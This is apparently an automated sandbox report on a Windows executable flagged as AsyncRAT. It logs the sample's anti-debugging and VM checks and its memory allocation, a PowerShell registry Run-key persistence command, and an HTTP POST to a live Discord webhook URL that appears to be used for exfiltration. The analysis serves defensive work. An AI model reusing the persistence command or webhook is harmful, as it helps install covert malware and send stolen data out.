Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Sept. 10, 2021, 9:13 a.m.	Sept. 10, 2021, 9:16 a.m.

Size	7.0MB
Type	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
MD5	`0c9ccbdb84f67bdedec3e9bfd0809cf1`
SHA256	`117027c8fbaa6fa213055aed89f4d09cef972939ada84ee69d1b0db9917dbfe0`
CRC32	`65C6C087`
ssdeep	`196608:yuGXQx1PfYbvWtm6YMwYfz9FP9ChRsoRF/TJ:y1c5fYbam6S0z7PLovT`
Yara	PE_Header_Zero - PE File Signature Malicious_Packer_Zero - Malicious Packer IsPE64 - (no description) Generic_Malware_Zero - Generic Malware Win_Backdoor_AsyncRAT_Zero - Win Backdoor AsyncRAT

Mars.exe "C:\Users\test22\AppData\Local\Temp\Mars.exe"
2232
- powershell.exe "powershell.exe" Remove-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'DriverService';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'DriverService' -Value '"C:\Users\test22\AppData\Roaming\WinServices\DriversService.exe"' -PropertyType 'String'
  2492

Name	Response	Post-Analysis Lookup
httpbin.org	A 54.156.165.4 A 3.215.162.201 A 3.89.166.41 A 3.209.149.47 A 54.159.86.231 A 3.209.207.48 A 3.212.92.22 A 3.233.172.144	3.209.149.47
discord.com	A 162.159.137.232 A 162.159.138.232 A 162.159.128.233 A 162.159.135.232 A 162.159.136.232	162.159.135.232

IP Address	Status	Action
162.159.128.233	Active	Moloch
164.124.101.2	Active	Moloch
3.209.207.48	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.102:49170 -> 3.209.207.48:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.102:49171 -> 162.159.128.233:443	906200056	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.102:49170 3.209.207.48:443	C=US, O=Amazon, OU=Server CA 1B, CN=Amazon	CN=httpbin.org	ca:ff:2f:cd:9d:a3:00:6c:86:17:a0:4c:8b:fb:93:4d:75:78:50:76
TLSv1 192.168.56.102:49171 162.159.128.233:443	C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2	C=US, ST=CA, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com	af:ff:1b:9d:0f:f5:f2:ad:ef:c8:c3:f5:45:0f:7f:e8:20:a0:79:0a

Queries for the computername (13 events)

Time & API	Arguments	Status	Return
GetComputerNameW Sept. 10, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 10, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 10, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 10, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 10, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 10, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 10, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 10, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 10, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 10, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 10, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Sept. 10, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Sept. 10, 2021, 9:07 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (4 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Sept. 10, 2021, 9:06 a.m.			0	0
IsDebuggerPresent Sept. 10, 2021, 9:06 a.m.			0	0
IsDebuggerPresent Sept. 10, 2021, 9:07 a.m.			0	0
IsDebuggerPresent Sept. 10, 2021, 9:07 a.m.			0	0

Command line console output was observed (19 events)

Time & API	Arguments	Status	Return
WriteConsoleW Sept. 10, 2021, 9:07 a.m.	buffer: Remove-ItemProperty : Property DriverService does not exist at path HKEY_CURREN console_handle: 0x0000000000000023	1	1
WriteConsoleW Sept. 10, 2021, 9:07 a.m.	buffer: T_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. console_handle: 0x000000000000002f	1	1
WriteConsoleW Sept. 10, 2021, 9:07 a.m.	buffer: At line:1 char:20 console_handle: 0x000000000000003b	1	1
WriteConsoleW Sept. 10, 2021, 9:07 a.m.	buffer: + Remove-ItemProperty <<<< -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVers console_handle: 0x0000000000000047	1	1
WriteConsoleW Sept. 10, 2021, 9:07 a.m.	buffer: ion\Run' -Name 'DriverService';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft console_handle: 0x0000000000000053	1	1
WriteConsoleW Sept. 10, 2021, 9:07 a.m.	buffer: \Windows\CurrentVersion\Run' -Name 'DriverService' -Value 'C:\Users\test22\AppD console_handle: 0x000000000000005f	1	1
WriteConsoleW Sept. 10, 2021, 9:07 a.m.	buffer: ata\Roaming\WinServices\DriversService.exe' -PropertyType 'String' console_handle: 0x000000000000006b	1	1
WriteConsoleW Sept. 10, 2021, 9:07 a.m.	buffer: + CategoryInfo : InvalidArgument: (DriverService:String) [Remove- console_handle: 0x0000000000000077	1	1
WriteConsoleW Sept. 10, 2021, 9:07 a.m.	buffer: ItemProperty], PSArgumentException console_handle: 0x0000000000000083	1	1
WriteConsoleW Sept. 10, 2021, 9:07 a.m.	buffer: + FullyQualifiedErrorId : System.Management.Automation.PSArgumentException console_handle: 0x000000000000008f	1	1
WriteConsoleW Sept. 10, 2021, 9:07 a.m.	buffer: ,Microsoft.PowerShell.Commands.RemoveItemPropertyCommand console_handle: 0x000000000000009b	1	1
WriteConsoleW Sept. 10, 2021, 9:07 a.m.	buffer: PSPath : Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\ console_handle: 0x00000000000000b7	1	1
WriteConsoleW Sept. 10, 2021, 9:07 a.m.	buffer: Microsoft\Windows\CurrentVersion\Run console_handle: 0x00000000000000bb	1	1
WriteConsoleW Sept. 10, 2021, 9:07 a.m.	buffer: PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\ console_handle: 0x00000000000000bf	1	1
WriteConsoleW Sept. 10, 2021, 9:07 a.m.	buffer: Microsoft\Windows\CurrentVersion console_handle: 0x00000000000000c3	1	1
WriteConsoleW Sept. 10, 2021, 9:07 a.m.	buffer: PSChildName : Run console_handle: 0x00000000000000c7	1	1
WriteConsoleW Sept. 10, 2021, 9:07 a.m.	buffer: PSDrive : HKCU console_handle: 0x00000000000000cb	1	1
WriteConsoleW Sept. 10, 2021, 9:07 a.m.	buffer: PSProvider : Microsoft.PowerShell.Core\Registry console_handle: 0x00000000000000cf	1	1
WriteConsoleW Sept. 10, 2021, 9:07 a.m.	buffer: DriverService : C:\Users\test22\AppData\Roaming\WinServices\DriversService.exe console_handle: 0x00000000000000d3	1	1

Uses Windows APIs to generate a cryptographic key (49 events)

Time & API	Arguments	Status	Return
CryptExportKey Sept. 10, 2021, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000308f20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000308f20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:06 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000308f20 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000047f370 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004f4a00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004f4a00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000004f4a00 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b9704e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b9704e0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970550 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970550 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970550 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970550 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970860 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970860 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970860 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970400 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970400 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970400 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970780 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970780 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970780 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970780 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970780 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970780 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970780 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970780 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970f60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970f60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970f60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970f60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970f60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970fd0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970fd0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970f60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970f60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970f60 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000466570 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000466570 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000466570 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000466570 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b99e7f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b99e7f0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970710 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970710 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970710 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970710 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970860 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey Sept. 10, 2021, 9:07 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b970860 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Sept. 10, 2021, 9:06 a.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (1 event)

section

.sdata

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (2 events)

suspicious_features	GET method with no useragent header				suspicious_request	GET https://httpbin.org/ip
suspicious_features	POST method with no referer header, POST method with no useragent header				suspicious_request	POST https://discord.com/api/webhooks/879386891068256349/bvEK4gAVFnRBb9sg3YV7yiiYRziQj7jLUdVKqAImI0PeKJ90iPJWMn4wivvwSYJ0o9WN

Performs some HTTP requests (2 events)

request	GET https://httpbin.org/ip
request	POST https://discord.com/api/webhooks/879386891068256349/bvEK4gAVFnRBb9sg3YV7yiiYRziQj7jLUdVKqAImI0PeKJ90iPJWMn4wivvwSYJ0o9WN

Sends data using the HTTP POST Method (1 event)

request

POST https://discord.com/api/webhooks/879386891068256349/bvEK4gAVFnRBb9sg3YV7yiiYRziQj7jLUdVKqAImI0PeKJ90iPJWMn4wivvwSYJ0o9WN

Allocates read-write-execute memory (usually to unpack itself) (50 out of 274 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 1310720 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000007a0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000000860000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef11a1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef183b000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 2555904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002a60000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002c50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef11a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef11a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef11a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef11a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef11a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef11a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef11a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef11a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef11a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef11a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef11a2000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef11a4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef11a4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef11a4000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef11a4000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 655360 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91a2a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91a3c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b50000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91adc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b06000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91ae0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 45056 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b51000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91a2b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory Sept. 10, 2021, 9:06 a.m.	process_identifier: 2232 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fe91b5c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
